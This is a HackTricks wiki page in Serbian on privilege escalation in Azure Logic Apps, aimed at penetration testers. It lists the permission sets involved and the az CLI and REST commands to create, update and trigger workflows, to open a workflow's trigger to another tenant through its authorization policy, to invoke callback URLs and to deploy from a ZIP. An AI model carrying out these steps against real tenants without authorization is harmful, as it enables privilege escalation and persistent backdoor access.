# Az - Logic Apps Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Logic Apps Privesc
Za više informacija o SQL bazi podataka pogledajte:

{{#ref}}
../az-services/az-logic-apps.md
{{#endref}}

### (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Logic/workflows/read`, `Microsoft.Logic/workflows/write` && `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`) && (`Microsoft.Logic/workflows/triggers/run/action`)

Sa ovom dozvolom, možete kreirati ili ažurirati Azure Logic Apps radne tokove. Radni tokovi definišu automatizovane procese i integracije između različitih sistema i usluga.
```bash
az logic workflow create \
--resource-group <resource_group_name> \
--name <workflow_name> \
--definition <workflow_definition_file.json> \
--location <location>

az logic workflow update \
--name my-new-workflow \
--resource-group logicappgroup \
--definition <workflow_definition_file.json>
```
I nakon što to promenite, možete to pokrenuti sa:
```bash
az rest \
--method post \
--uri "https://management.azure.com/subscriptions/{subscriptionId}/resourcegroups/{resourceGroupName}/providers/Microsoft.Logic/workflows/{logicAppName}/triggers/{triggerName}/run?api-version=2016-10-01" \
--body '{}' \
--headers "Content-Type=application/json"
```
Dodatno, sa samo `Microsoft.Logic/workflows/write` možete promeniti Politiku autorizacije, dajući, na primer, drugom tenant-u mogućnost da pokrene radni tok:
```bash
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group-name>/providers/Microsoft.Logic/workflows/<workflow-name>?api-version=2016-10-01" \
--body '{
"location": "<region>",
"properties": {
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"parameters": {
"$connections": {
"defaultValue": {},
"type": "Object"
}
},
"triggers": {
"<trigger-name>": {
"type": "Request",
"kind": "Http"
}
},
"actions": {},
"outputs": {}
},
"accessControl": {
"triggers": {
"openAuthenticationPolicies": {
"policies": {
"<policy-name>": {
"type": "AAD",
"claims": [
{
"name": "iss",
"value": "<issuer-url>"
}
]
}
}
}
}
}
}
}'

```
### `Microsoft.Logic/workflows/triggers/listCallbackUrl/action`
Možete dobiti URL za povratni poziv okidača i pokrenuti ga.
```bash
az rest --method POST \
--uri "https://management.azure.com/subscriptions/<subscription_id>/resourceGroups/<resource_group>/providers/Microsoft.Logic/workflows/<workflow_name>/triggers/<trigger_name>/listCallbackUrl?api-version=2019-05-01"
```
Ovo će vratiti URL za povratni poziv kao što je `https://prod-28.centralus.logic.azure.com:443/workflows/....`. Sada to možemo pokrenuti sa:
```bash
curl --request POST \
--url "https://prod-28.centralus.logic.azure.com:443/workflows/<workflow_id>/triggers/<trigger_name>/paths/invoke?api-version=2019-05-01&sp=%2Ftriggers%2F<trigger_name>%2Frun&sv=1.0&sig=<signature>" \
--header 'Content-Type: application/json' \
--data '{"exampleKey": "exampleValue"}'
```
### (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/basicPublishingCredentialsPolicies/read`, `Microsoft.Web/sites/write`, `Microsoft.Web/sites/config/list/action`) && (`Microsoft.Web/sites/start/action`)
Sa ovim dozvolama, možete implementirati Logic App radne tokove koristeći ZIP datoteke za implementaciju. Ove dozvole omogućavaju akcije kao što su čitanje detalja aplikacije, pristup publikacionim akreditivima, pisanje izmena i listanje konfiguracija aplikacije. Pored dozvola za pokretanje, možete ažurirati i implementirati novu Logic App sa željenim sadržajem.
```bash
az logicapp deployment source config-zip \
--name <logic_app_name> \
--resource-group <resource_group_name> \
--src <path_to_zip_file>
```
{{#include ../../../banners/hacktricks-training.md}}
